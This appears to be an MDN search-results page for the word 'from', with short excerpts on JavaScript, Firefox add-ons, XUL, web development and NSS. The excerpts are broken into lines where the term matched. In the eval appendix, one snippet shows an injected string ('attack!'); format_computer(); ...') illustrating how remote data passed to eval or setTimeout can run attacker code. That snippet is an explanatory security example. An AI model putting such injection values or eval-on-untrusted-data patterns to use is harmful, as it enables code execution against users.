from 1 to 21; the default is 1.
...And 6 more matches
Object - JavaScript
description nearly all objects in javascript are instances of object; a typical object inherits properties (including methods)
from object.prototype, although these properties may be shadowed (a.k.a.
... deleting a property
from an object there isn't any method in an object itself to delete its own properties (such as map.prototype.delete()).
... static methods object.assign() copies the values of all enumerable own properties
from one or more source objects to a target object.
...And 6 more matches
String.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the index within the calling string object of the last occurrence of the specified value, searching backwards
from
fromindex.
... syntax str.lastindexof(searchvalue[,
fromindex]) parameters searchvalue a string representing the value to search for.
... if searchvalue is an empty string, then
fromindex is returned.
...And 6 more matches
WebAssembly.LinkError - JavaScript
the webassembly.linkerror object indicates an error during module instantiation (besides traps
from the start function).
...inherited
from error.
...inherited
from error.
...And 6 more matches
Lexical grammar - JavaScript
the source text of ecmascript scripts gets scanned
from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or white space.
... white space white space characters improve the readability of source text and separate tokens
from each other.
...they can also be used to disable code to prevent it
from being executed; this can be a valuable debugging tool.
...And 6 more matches
export - JavaScript
the export statement is used when creating javascript modules to export live bindings to functions, objects, or primitive values
from the module so they can be used by other programs with the import statement.
...xport { variable1 as name1, variable2 as name2, …, namen }; // exporting destructured assignments with renaming export const { name1, name2: bar } = o; // default exports export default expression; export default function (…) { … } // also class, function* export default function name1(…) { … } // also class, function* export { name1 as default, … }; // aggregating modules export *
from …; // does not set the default export export * as name1
from …; // draft ecmascript® 2o21 export { name1, name2, …, namen }
from …; export { import1 as name1, import2 as name2, …, namen }
from …; export { default }
from …; namen identifier to be exported (so that it can be imported via import in another script).
... but a default export can be imported with any name for example: // file test.js let k; export default k = 12; // some other file import m
from './test'; // note that we have the
freedom to use import m instead of import k, because k was default export console.log(m); // will log 12 you can also rename named exports to avoid naming conflicts: export { myfunction as function1, myvariable as variable }; re-exporting / aggregating it is also possible to "import/export"
from different modules in a parent module so tha...
...And 6 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
progressive enhancement and responsive design already allow us to build mobile
friendly websites.
...it's not that obvious if a web app is a pwa or not
from first glance.
... responsive, so it's usable on any device with a screen and a browser—mobile phones, tablets, laptops, tvs, re
frigerators, etc.
...And 6 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
aphicselement.gettransformtoelement() removed not removed yet svggraphicselement.getctm() on the outermost element implementation status unknown animval attribute alias of baseval implementation status unknown dataset attribute for svgelement implementation status unknown moved pathlength attribute and gettotallength() and getpointatlength() methods
from svgpathelement to svggeometryelement implemented (bug 1239100) document structure change notes svgsvgelement.suspendredraw(), svgsvgelement.unsuspendredraw(), and svgsvgelement.unsuspendredrawall() deprecated turned into no-ops (bug 734079) externalresourcesrequired attribute removed implementation status unknown auto value for width a...
... implementation status unknown auto as initial value for width and height attributes of <svg> implementation status unknown baseprofile and version attributes removed
from <svg> implementation status unknown svgsvgelement.forceredraw() deprecated turned into a no-op (bug 733764) svgsvgelement.deselectall() deprecated not yet deprecated (bug 1302705) <switch> not affecting <style> implementation status unknown requiredfeatures attribute removed implementation status unknown svgsvgelement.currentview and s...
...ent implementation status unknown display behavior of <style> defined via ua style sheet implementation status unknown !important user agent style rules controlling never-rendered elements implementation status unknown :focus and ::selection styles implementation status unknown geometry change notes x and y attributes removed
from <pattern> and <filter> implementation status unknown auto value of width and height computes to 0 but 100% on <svg> not implemented coordinate systems, transformations and units change notes exception for bad values on svgmatrix.skewx() and svgmatrix.skewy() implementation status unknown bounding box for element with no position at (0,...
...And 6 more matches
Introduction to using XPath in JavaScript - XPath
this document describes the interface for using xpath in javascript internally, in extensions, and
from websites.
...this adapter works like the dom level 3 method lookupnamespaceuri on nodes in resolving the namespaceuri
from a given prefix using the current information available in the node's hierarchy at the time lookupnamespaceuri is called.
... specifying the return type the returned variable xpathresult
from document.evaluate can either be composed of individual nodes (simple types), or a collection of nodes (node-set types).
...And 6 more matches
self - Archive of obsolete content
note that the self module is completely different
from the global self object accessible to content scripts, which is used by a content script to communicate with the add-on code.
...it comes
from the id property set in the package.json file in the main package (i.e.
...it comes
from the name property in the main package's package.json file.
...And 5 more matches
content/mod - Archive of obsolete content
detach
from(modification, window) function removes attached modification
from a given window.
... if window is not specified, modification is removed
from all the windows it's being attached to.
... for example, the following code applies and removes a style to a content window, adding a border to all divs in page: var { attachto, detach
from } = require("sdk/content/mod"); var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the content page we want to modify attachto(style, window); // ...
...And 5 more matches
core/promise - Archive of obsolete content
var bar = foo().then(function success(value) { // compute something
from a value...
... // parse content
from the url then(extractquery).
...uery against db nested chaining flat chaining is not always an option though, as in some cases you may want to capture intermediate values of the chain: var result = readasync(url).then(function(source) { var json = parse(source); return readdbasync(extractquery(json)).then(function(data) { return writeasync(json.url, data); }); }); in general, nesting is useful for computing values
from more than one promise: function eventualadd(a, b) { return a.then(function (a) { return b.then(function (b) { return a + b; }); }); } var c = eventualadd(aasync(), basync()); error handling one sometimes-unintuitive aspect of promises is that if you throw an exception in the value handler, it will not be be caught by the error handler.
...And 5 more matches
cfx - Archive of obsolete content
for information on how to migrate
from cfx to jpm see this guide.
...
from firefox 21 onwards, sdk add-ons built with sdk 1.14 or higher will use the sdk modules that are built into firefox, even if the add-on includes its own copies of the sdk modules.
...if package.json exists, cfx will load the corresponding add-on, load
from the tests directory any modules that start with the word test- and run the unit tests they contain.
...And 5 more matches
Creating Event Targets - Archive of obsolete content
if you use the sdk's event
framework for your event targets, users of your module can listen for events using the sdk's standard event api.
...it duplicates the previous code, but with a few changes: import emit(), on(), once(), and off()
from event/core replace listener functions with calls to emit(), passing the appropriate event type export its own event api.
... this consists of three functions: on(): start listening for events or a given type once(): listen for the next occurrence of a given event, and then stop removelistener(): stop listening for events of a given type the on() and once() exports delegate to the corresponding function
from event/core, and use bind() to pass the exports object itself as the target argument to the underlying function.
...And 5 more matches
Creating Reusable Modules - Archive of obsolete content
you then import and use these modules
from other parts of your add-on using the require() statement, in exactly that same way that you import core sdk modules like page-mod or panel.
...ateinstance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/security/hash;1"] .createinstance(ci.nsicryptohash); // we want to use the md5 algorithm ch.init(ch.md5); // this tells update
fromstream to read the entire file const pr_uint32_max = 0xffffffff; ch.update
fromstream(istream, pr_uint32_max); // pass false here to get binary data back var hash = ch.finish(false); // convert the binary hash data to a hex string.
... var s = array.
from(hash, (c, i) => tohexstring(hash.charcodeat(i))).join(""); return s; } putting it together the complete add-on adds a button to firefox: when the user clicks the button, we ask them to select a file, compute the hash, and log the hash to the console: var {cc, ci} = require("chrome"); // return the two-digit hexadecimal code for a byte function tohexstring(charcode) { return ("0" + charcode.tostring(16)).slice(-2); } function md5file(path) { var f = cc["@mozilla.org/file/local;1"] .createinstance(ci.nsilocalfile); f.initwithpath(path); var istream = cc["@mozilla.org/network/file-input-stream;1"] .createinstance(ci.nsifileinputstream); // open for reading istream.init(f, 0x01, 0444, 0); var ch = cc["@mozilla.org/securit...
...And 5 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
from firefox 34 onwards, you can just use "./my-script.js" instead.
... data directory in a file called my-script.js: // import the page-mod api var pagemod = require("sdk/page-mod"); // import the self api var self = require("sdk/self"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscriptfile: self.data.url("my-script.js") }); or
from firefox 34 onwards: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscriptfile: "./my-script.js" }); loading multiple content scripts you can load more than one script, and the scripts can intera...
.../ import the self api var self = require("sdk/self"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscriptfile: self.data.url("jquery-1.7.min.js"), contentscript: '$("body").html("<h1>page matches ruleset</h1>");' }); note, though, that you can't load a script
from a web site.
...And 5 more matches
Preferences - Archive of obsolete content
however, there is a concept of complex types, which makes it easier for developers to save and load nsilocalfile and nsisupportsstring objects in preferences (as strings — note that
from the preferences system's point of view, complex values have a nsiprefbranch.pref_string type.) there are two nsiprefbranch methods implementing the concept — setcomplexvalue() and getcomplexvalue().
...it is similar to nsisupportsstring, except that when there is no user value, getcomplexvalue() gets the default value
from a locale file (thus making the default value localizable).
... passing nsipreflocalizedstring as atype: var prefs = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var branch = prefs.getbranch("extensions.myext."); var value = branch.getcomplexvalue("welcomemessage", components.interfaces.nsipreflocalizedstring).data; the code in step 3 will read the default value
from chrome://myext/locale/defaults.properties when no user value is set, and will behave exactly the same as if nsisupportsstring was passed as atype otherwise.
...And 5 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
additionally, parsing json retrieved
from a remote location becomes a security vulnerability when parsed with the eval function.
...settimeout("alert('" + xhr.responsetext + "');", 100); // attacker manipulated responsetext to contain "attack!'); format_computer(); alert('done" settimeout("alert('attack!'); format_computer(); alert('done');", 100); as a general rule of thumb, just don't pass code around as strings and execute it by calling eval, settimeout and
friends.
...closures will ensure the code is still valid, even if your outer function already returned
from execution.
...And 5 more matches
User Notifications and Alerts - Archive of obsolete content
they are thin boxes that appear
from beneath the tab list and above the page content, with some text and maybe a few buttons.
... notification boxes are very easy to create, and are very customizable: let nb = gbrowser.getnotificationbox(); let acceptbutton = new object(); let declinebutton = new object(); let message = this._bundle.getstring("xulschoolhello.
friendmessage.label"); let that = this; acceptbutton.label = this._bundle.getstring("xulschoolhello.acceptbutton.label"); acceptbutton.accesskey = this._bundle.getstring("xulschoolhello.acceptbutton.accesskey"); acceptbutton.popup = null; acceptbutton.callback = function() { that.acceptrequest(); }; // similarly for decline button.
... nb.appendnotification( message, "xulschoolhello-
friend-notification", "chrome://xulschoolhello/skin/
friend-notification.png", nb.priority_info_high, [ acceptbutton, declinebutton ]); all browser tabs have a notification box by default, so you don't need to do any overlaying.
...And 5 more matches
XUL user interfaces - Archive of obsolete content
more specialized features can be built
from parts by using xul together with other technologies that you have seen in this tutorial: css style, javascript code, and xbl bindings.
...copy and paste the content
from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-stylesheet type="text/css" href="style7.css"?> <!doctype window> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="css getting started - xul demonstration" onload="init();"> <script type="application/javascript" src="script7.js"/> <label class="head-1" value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <colu...
...mns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text" type="timed" timeout="750" oncommand="re
fresh();"/> </row> <row> <label value="day:"/> <hbox id="day-box"> <label class="day" value="sunday" disabled="true"/> <label class="day" value="monday" disabled="true"/> <label class="day" value="tuesday" disabled="true"/> <label class="day" value="wednesday" disabled="true"/> <label class="day" value="thursday" disabled="true"/> <label class="day" value="
friday" disabled="true"/> <label class="day" valu...
...And 5 more matches
Creating a Help Content Pack - Archive of obsolete content
you can create a content packs which inherit
from existing mozilla help content packs.
...the content pack descriptor file outlines the
framework of the contents of the pack by pointing to the files describing the table of contents, index, and glossary rdf files.
...strings recognized
from 1.8 onward are win, mac, os2, and unix; more will be added as required.
...And 5 more matches
Menu - Archive of obsolete content
clear() removes all items
from the menu, even items not added by the feature.
... remove(target) removes an item
from the menu.
...(ok, slightly less.) this is only a recommended practice; developers are of course
free to do as they wish.
...And 5 more matches
Monitoring downloads - Archive of obsolete content
// status is the same status value that came
from the download manager.
...the first three rows are set to the values of the source uri, file size, and start time fields
from the download object.
...qlite"); // get access to the storage service and open the database this.storageservice = components.classes["@mozilla.org/storage/service;1"] .getservice(components.interfaces.mozistorageservice); var dbconn = this.storageservice.opendatabase(this.dbfile); var loglist = document.getelementbyid("loglist"); var statement = dbconn.createstatement("select *
from items"); // get all items in table try { while (statement.executestep()) { var row = document.createelement('listitem'); // add the cells to the row var cell = document.createelement('listcell'); var sourcestr = statement.getstring(0); row.setattribute("tooltiptext", sourcestr); sourcestr = sourcestr.slice(sourcestr.lastindexof("/")+1); ...
...And 5 more matches
Prism - Archive of obsolete content
applications running in an ssb are therefore able to benefit
from many of the advantages of the desktop and of the web at the same time.
...we can also benefit
from operating system tools that lets us view the memory/cpu consumption of a specific application.
...this also cuts down on ui clutter (hence the term distraction-
free browser).
...And 5 more matches
New Skin Notes - Archive of obsolete content
-- dria when a page is redirected, need to say-so and what it was redirected
from, (see document for an example of such.) this is only an issue in mw1.5 so far.
...i'd suggest to use the color
from cavedish.
...direct external links have icons to differentiate them
from internal links, so i think we'll just leave the internal/external links colours the same.
...And 5 more matches
RDF Datasource How-To - Archive of obsolete content
it supersedes (and borrows
from) the original document put together by robert churchill.
...an "address book" datasource could translate a database file into statements like "spammer128@hotmail.com's real name is 'billy dumple'" and "spammer128@hotmail.com is considered an 'important
friend'." statements
from one datasource can be combined with statements
from another datasource using a composite datasource.
... by combining statements
from the imap datasource and address book datasource, above, we'd be able to identify the sender of "message 126" as an "important
friend".
...And 5 more matches
Venkman Internals - Archive of obsolete content
for example,
framerecord represents a javascript stack
frame.
... venkman-msg.js localization code, reads venkman.properties
from a subdirectory of "locale" and injects variables.
... venkman-utils.js defines the dd debug dump and
friends windowrecord representation of the open windows.
...And 5 more matches
Mac stub installer - Archive of obsolete content
build the mac installer (debug or non-debug target) using miw.mcp grab a nightly build, say
from <http://ftp.mozilla.org/pub/mozilla/n...taller.sea.bin> drop in the installer binary next to the "mozilla installer" in the "mozilla installer" folder created by unstuffing the opt build.
... run the installer
from the opt "mozilla installer" folder.
... alternative to steps 3 and 4 copy the "installer modules" folder
from the "mozilla installer" folder into the "macbuild" folder that contains the build debug or non-debug installer binary next to miw.mcp.
...And 5 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... this article uses the installer script
from browser.xpi install package as the basis for discussing xpi installations in general.
...if you choose not to register the installed software or do the verifications at the
front end of the installation, then at a minimum, the install scripts mustinitialize, add the files to be installed, and execute.
...And 5 more matches
Introduction - Archive of obsolete content
next » a xul template is a means of producing a block of content for each result
from some query or query-like operation.
...for each result returned
from the query, generate some content.
... the template syntax allows for different rules to generate different content based on particular criteria as well as set attribute values
from returned results.
...And 5 more matches
Template Builder Interface - Archive of obsolete content
rebuilding and re
freshing a template the main purpose of accessing the builder for an element is to call its 'rebuild' method.
...essentially, the rebuild method instructs the builder to remove any existing information and reconstruct it
from the beginning.
...for rdf datasources, the builder's re
fresh method, however, will reload the datasources.
...And 5 more matches
Custom toolbar button - Archive of obsolete content
from firefox's menu bar).
...
from firefox's menu bar, choose view – character encoding – unicode (utf-8).
... note: for information about how to find the profile directory, see: profile folder explanation: the profile directory contains information specific to a user, keeping it separate
from the application.
...And 5 more matches
Property Files - Archive of obsolete content
in addition, you may wish to display a message which is generated
from a script, if, for example, you do not know the exact text to be displayed.
...the element has a number of functions which can be used to get strings
from the property file and get other locale information.
...<stringbundleset id="stringbundleset"> <stringbundle id="strings" src="strings.properties"/> </stringbundleset> including this element will read the properties
from the file 'strings.properties' in the same directory as the xul file.
...And 5 more matches
Skinning XUL Files by Hand - Archive of obsolete content
in the very near future, it will be possible to skin xul files dynamically and completely -- by pressing a button, selecting a skin
from a menu, or by accepting a skin
from over the web.
...the chrome is everything in the
front end of an application.
... much of what makes xul look (and act!) the way it does comes
from the css for each xul element.
...And 5 more matches
XUL Structure - Archive of obsolete content
since xul and html are handled in the same way, you can load both
from either your local file system,
from a web page, or
from an extension or standalone xulrunner application.
... content
from remote sources (e.g.
...the extension will hook into the browser using a xul specific feature called an overlay which allows the xul
from the extension to mesh with the xul in the browser.
...And 5 more matches
preference - Archive of obsolete content
attributes disabled, instantapply, inverted, name, onchange, readonly, tabindex, type properties defaultvalue, disabled, hasuservalue, inverted, locked, name, preferences, readonly, tabindex, type, value, value
frompreferences methods reset examples <preferences> <preference id="pref_id" name="preference.name" type="int"/> </preferences> see preferences system for a complete example.
... hasuservalue type: boolean true if the preference has been changed
from its default value.
... locked type: boolean if true, the preference has been locked and disabled in the system configuration, preventing the value
from being changed.
...And 5 more matches
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
xulrunner 1.8.0.4 is a stable developer preview of the mozilla xulrunner application
framework.
... uninstalling xulrunner linux
from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation.
... windows
from a command prompt, run xulrunner.exe --unregister-global or xulrunner.exe --unregister-user to unregister xulrunner just as you registered it during installation.
...And 5 more matches
NPN_MemFlush - Archive of obsolete content
requests that the browser
free a specified amount of memory.
... syntax #include <npapi.h> uint32 npn_memflush(uint32 size); parameters the function has the following parameters: size size of memory, in bytes, to
free in the browser's memory space.
... returns if successful, the function returns the amount of
freed memory, in bytes.
...And 5 more matches
LiveConnect Overview - Archive of obsolete content
when a javascript object is sent to java, the runtime engine creates a java wrapper of type jsobject; when a jsobject is sent
from java to javascript, the runtime engine unwraps it to its original javascript object type.
... table 9.1 the liveconnect objects object description javaarray a wrapped java array, accessed
from within javascript code.
... javaobject a wrapped java object, accessed
from within javascript code.
...And 5 more matches
Implementation Status - Archive of obsolete content
processing model (events) section title status notes bugs 4 processing model (events) partial the xforms-recalculate, xforms-revalidate, and xforms-re
fresh events are not as separated as they should be.
... xforms-ready supported 4.2.4 xforms-model-destruct supported 4.3.1 xforms-rebuild supported 4.3.2 xforms-recalculate supported 4.3.3 xforms-revalidate supported 4.3.4 xforms-re
fresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-previous supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint supported 4.3.9 xforms-submit ...
... interface for access to instance data supported 4.8.1 getinstancedocument() supported 4.8.2 rebuild() supported 4.8.3 recalculate() supported 4.8.4 revalidate() supported 4.8.5 re
fresh() supported 4.9 feature string for the hasfeature method call supported 5.
...And 5 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
when it is necessary for an organization to interact with other applications through alliances, merger, or acquisition, the integration and interoperability is much less costly if all parties involved follow the standards
from the outset.
... consistent standards significantly reduce development re-work, and ensure consistent and predictable behavior
from one application to the next.
...as users become more sophisticated, and as additional devices become more affordable, they will be accessing the same information across a variety of devices – and expect them to look and act the same – regardless of whether they are accessing a web site
from their desktop, phone, or handheld.
...And 5 more matches
Mobile touch controls - Game development
we can get the first touch (e.touches[0], our example is not multitouch-enabled), extract the pagex and pagey variables and set the player's ship position on the screen by subtracting the canvas offset (distance
from the canvas and the edge of the screen) and half the player's width and height.
...the preventdefault() function is needed to prevent the browser
from moving — without it you'd have the default behaviour, and the canvas would be dragged around the page, which would show the browser scroll bars and look messy.
... touch events in phaser we don't have to do this on our own;
frameworks like phaser offer systems for managing touch events for us — see managing the touch events.
...And 5 more matches
Animations and tweens - Game development
animations in phaser, animations, involve taking a spritesheet
from an external source and displaying the sprites sequentially.
... first of all, grab the spritesheet
from github and save it in your /img directory.
...the spritesheet() method's two extra paremeters determine the width and height of each single
frame in the given spritesheet file, indicating to the program how to chop it up to get the individual
frames.
...And 5 more matches
Player paddle and controls - Game development
rendering the paddle
from the
framework point of view the paddle is very similar to the ball — we need to add a variable to represent it, load the relevant image asset, and then do the magic.
... game.load.image('ball', 'img/ball.png'); game.load.image('paddle', 'img/paddle.png'); } adding the paddle graphic just so we don't forget, at this point you should grab the paddle graphic
from github, and save it in your /img folder.
...because the anchor
from which the position is calculated always starts
from the top left edge of the object.
...And 5 more matches
Visual typescript game engine - Game development
me: "cache", enabled: true, scriptpath: "externals/cacheinit.ts", }, { name: "hackertimer", enabled: true, scriptpath: "externals/hack-timer.js", }, { name: "dragging", enabled: true, scriptpath: "externals/drag.ts", }, ]; /** * @description this is main coordinary types of positions * can be "diametric-fullscreen" or "
frame".
... * @property drawreference * @type string */ private drawreference: string = "
frame"; /** * aspectratio default value, can be changed in run time.
... */ private appusebroadcaster: boolean = false; /** * possible variant by default : * "register", "login" */ private startuphtmlform: string = "register"; private gamelist: any[]; /** * implement default gameplay variable's */ private defaultgameplaylevelname: string = "level1"; private autostartgameplay: boolean = true; start the dependency system
from app.ts the first game template is platformer.
...And 5 more matches
Fundamental CSS comprehension - Learn web development
if the online editor you are using doesn't have a separate css panel, feel
free to put it in a <style> element in the head of the document.
... the first two rulesets in the css resource file are yours, for
free!
...
from now on, subsequent styles added to the stylesheet should be organized in an appropriate place.
...And 5 more matches
Styling web forms - Learn web development
by default, some widgets do not inherit font-family and font-size
from their parents.
...they all do, with a strange exception — <input type="submit"> does not inherit
from the parent paragraph in chrome.
... <form> <h1>to: mozilla</h1> <div id="
from"> <label for="name">
from:</label> <input type="text" id="name" name="user_name"> </div> <div id="reply"> <label for="mail">reply:</label> <input type="email" id="mail" name="user_email"> </div> <div id="message"> <label for="msg">your message:</label> <textarea id="msg" name="user_message"></textarea> </div> <div class="button"> <button type="submit">s...
...And 5 more matches
Use JavaScript within a webpage - Learn web development
learn in this article how to trigger javascript right
from your html documents.
... how to trigger javascript
from html within a browser, javascript doesn't do anything by itself.
... you run javascript
from inside your html webpages.
...And 5 more matches
Creating hyperlinks - Learn web development
document
fragments it's possible to link to a specific part of an html document, known as a document
fragment, rather than just to the top of the document.
...use our <a href="contacts.html#mailing_address">mailing address</a>.</p> you can even use the document
fragment reference on its own to link to another part of the same document: <p>the <a href="#mailing_address">company mailing address</a> can be found at the bottom of this page.</p> absolute versus relative urls two terms you'll come across on the web are absolute url and relative url: absolute url: points to a location defined by its absolute location on the web, including protocol and domain ...
... relative url: points to a location that is relative to the file you are linking
from, more like what we looked at in the previous section.
...And 5 more matches
Adding vector graphics to the Web - Learn web development
raphic,) and <mask> (apply a mask over the top of your image.) as a simple example, the following code creates a circle and a rectangle: <svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black" /> <circle cx="150" cy="100" r="90" fill="blue" /> </svg> this creates the following output:
from the example above, you may get the impression that svg is easy to handcode.
...(external stylesheets invoked
from the svg file take no effect.) you cannot restyle the image with css pseudoclasses (like :focus).
... troubleshooting and cross-browser support for browsers that don't support svg (ie 8 and below, android 2.3 and below), you could reference a png or jpg
from your src attribute and use a srcset attribute (which only recent browsers recognize) to reference the svg.
...And 5 more matches
Introducing asynchronous JavaScript - Learn web development
objective: to gain familiarity with what asynchronous javascript is, how it differs
from synchronous javascript, and what use cases it has.
...related to blocking), many web api features now use asynchronous code to run, especially those that access or fetch some kind of resource
from an external device, such as fetching a file
from the network, accessing a database and returning data
from it, accessing a video stream
from a web cam, or broadcasting the display to a vr headset.
...when you fetch an image
from a server, you can't return the result immediately.
...And 5 more matches
A first splash into JavaScript - Learn web development
stop the player
from being able to enter more guesses (this would mess the game up).
... stop the player
from being able to enter more guesses (this would mess the game up).
...save your code and re
fresh the page in your browser.
...And 5 more matches
Learn web development
the aim of this area of mdn is not to take you
from "beginner" to "expert" but to take you
from "beginner" to "comfortable."
from there, you should be able to start making your way, learning
from the rest of mdn, and other intermediate to advanced resources that assume a lot of previous knowledge.
...we have started keeping learning area release notes to show what has changed — keep checking back
frequently!
... looking to become a
front-end web developer?
...And 5 more matches
Links and Resources
wai - web accessibility initiative web content accessibility guidelines (wcag) 1.0 the first set of official guidelines
from the w3c web accessibility initiative (wai).
... web accessibility checklist
from ibm.
... webxact™
from watchfire® corporation webxact™ is a
free and complete online accessibility validation service that can test single pages for quality, accessibility and privacy issues.
...And 5 more matches
Multiprocess on Windows
as you should already know
from the prerequisite reading, single threaded apartments receive remote procedure calls (rpcs)
from com, via the windows message queue.
...
from a performance standpoint, this is less than ideal.
...on the other hand, com's multithreaded apartment (mta) uses a much faster ipc mechanism that does not suffer
from the same problems as the message queue.
...And 5 more matches
Creating a Language Pack
creating a langpack we will now merge the localized files
from x-testing locale with the en-us files
from the original source.
...all other files will be taken
from x-testing directly.
...add the preference intl.locale.requested and set it to your language code, in this case, x-testing, or add it in
front of the current setting, seperated with a comma.
...And 5 more matches
Embedding Tips
normally it provide some functionality that is required
from lots of places such as looking up preference settings, creating new windows, locating files, displaying prompt or password dialog boxes and so on.
... obtain the nsiclipboardcommands interface
from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method).
...for example, if you wanted to check the server response headers, you might check onstatechange for state_start | state_is_request flags, and
from the nsirequest argument qi fornsihttpchanne and call methods on that to determine response codes and other information
from the server.
...And 5 more matches
WebRequest.jsm
next, return an object
from the listener that contains instructions for what the browser should do with this request.
... to perform one of these operations, include a property with the appropriate name in the object returned
from the listener, and assign it the desired value, as detailed in the table below: operation available in return property cancel onbeforerequest cancel boolean value set to true.
...it also documents two data structures that vary
from one event to another: the opt_extrainfospec argument to addlistener() the properties of the argument passed to the listener.
...And 5 more matches
Bootstrapping a new locale
the "-cd" part is only necessary to differentiate between versions of a language that are subtly different
from country to country, such as in "en-us" and "en-gb" for united states english and british english.
... before you run the copy commands, you need to make the locale directory at the same level as the mozilla-1.9.x/ you just cloned
from above.
... for instance, firefox 3.6 is released
from the 1.9.2 branch.
...And 5 more matches
Localizing with Mercurial
mercurial on linux you can easily install mercurial
from the command line by issuing one of the following commands.
...you can install mercurial via macports through the terminal, like so: $ sudo port install mercurial you can also install it by downloading the dmg package
from the hg download page.
...for example, to clone your firefox nightly l10n repo, run the following command, replacing ab-cd with your locale code: hg clone https://hg.mozilla.org/l10n-central/ab-cd/ updating your local repos to update your working copy of mozilla-central, go to your local mozilla-central directory and run: hg pull -u this will both get new changesets
from mozilla-central and apply those changes in your working copy.
...And 5 more matches
Localizing with Pontoon
at mozilla, we use pontoon to localize all mozilla products and websites, ranging
from firefox to mozilla.org.
...here we'll discuss how to use pontoon to localize projects,
from first sign-in to finalizing your contributions.
...next, simply select the project you want to work on and your locale
from the dropdown menus.
...And 5 more matches
Mozilla Web Services Security Model
overview (this document is being compiled
from scattered documentation and source code and most of the information in it has not been verified.
... please do not depend on anything in it being correct for security.) to prevent the browser
from being used as a tool for web sites to obtain priveleges that belong to the browser's user (such as being behind a firewall or getting the benefits of the user's cookies), web browsers restrict what web pages can do when accessing things in other domains.
... however, web services can be designed to be accessed
from other domains, or even
from any domain.
...And 5 more matches
TraceMalloc
tracemalloc has been superseded by dmd and removed
from the codebase.
... tracemalloc captures stack traces of all malloc, calloc , realloc, and
free calls (this currently covers all operator new and delete calls in mozilla, too).
...bloatblame accumulates allocation counts and ignores
free calls.
...And 5 more matches
Profile Manager
downloading binaries you can download profile manager builds
from https://ftp.mozilla.org/pub/mozilla.org/utilities/profilemanager/1.0/ note: there is no installer; just extract the files
from the archive.
... creating a profile to create a new profile, just click the new button
from profile manager's toolbar.
... to backup a profile: select the profile you want to backup, and choose "backup to->backup folder"
from the toolbar's backup menu.
...And 5 more matches
McCoy
the cryptographic keys and other mccoy data are kept in a profile folder separate
from the application so you can uninstall and reinstall without losing your precious keys.
... backing up data if you need to backup your data or move it
from one machine to another you need to take a copy of the profile folder.
...once you have a password set you can change it
from the keys menu and you will have to enter it each time you run mccoy.
...And 5 more matches
Cryptography functions
ater pk11_finalize mxr 3.2 and later pk11_findbestkeamatch mxr 3.2 and later pk11_findcertandkeybyrecipientlist mxr 3.2 and later pk11_findcertandkeybyrecipientlistnew mxr 3.2 and later pk11_findcertbyissuerandsn mxr 3.2 and later pk11_findcert
fromdercert mxr 3.2 and later pk11_findcert
fromnickname mxr 3.2 and later pk11_findcertinslot mxr 3.2 and later pk11_findgenericobjects mxr 3.9.2 and later pk11_findfixedkey mxr 3.2 and later pk11_findkeybyanycert mxr 3.2 and later pk...
...11_findkeybydercert mxr 3.2 and later pk11_findprivatekey
fromcert mxr 3.2 and later pk11_findslotbyname mxr 3.2 and later pk11_findslotsbynames mxr 3.9 and later pk11_fortezzahaskea mxr 3.2 and later pk11_fortezzamapsig mxr 3.2 and later pk11_
freeslot mxr 3.2 and later pk11_
freeslotlist mxr 3.2 and later pk11_
freeslotlistelement mxr 3.11 and later pk11_
freesymkey mxr 3.2 and later pk11_generatefortezzaiv mxr 3.2 and later pk11_generatekeypair mxr 3.2 and later p...
...rt mxr 3.12 and later pk11_getbestkeylength mxr 3.2 and later pk11_getbestslot mxr 3.2 and later pk11_getbestslotmultiple mxr 3.2 and later pk11_getbestwrapmechanism mxr 3.2 and later pk11_getblocksize mxr 3.2 and later pk11_getcert
fromprivatekey mxr 3.9.3 and later pk11_getcurrentwrapindex mxr 3.2 and later pk11_getdefaultarray mxr 3.8 and later pk11_getdefaultflags mxr 3.8 and later pk11_getdisabledreason mxr 3.8 and later pk11_getfirstsafe mxr 3.2 and later p...
...And 5 more matches
NSS FAQ
it provides a complete open-source implementation of the crypto libraries used by mozilla and other companies in the firefox browser, aol instant messenger (aim), server products
from red hat, and other products.
... nss was designed
from the ground up for use by commercial developers.
... it provides a complete software development kit that uses the same architecture used to support security features in many client and server products
from netscape and other companies.
...And 5 more matches
NSS 3.12.5 release_notes
you can check out the source
from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_5_rtm nss see the documentation section for the build instructions.
...memory for the strings are owned by the caller, who is
free to
free them once nss_contextinit returns.
... see the following struct in nss.h for details: nssinitparametersstr other new functions in secmod.h: secmod_getskipfirstflag secmod_getdefaultmoddbflag in prlink.h nss_securememcmp port_loadlibrary
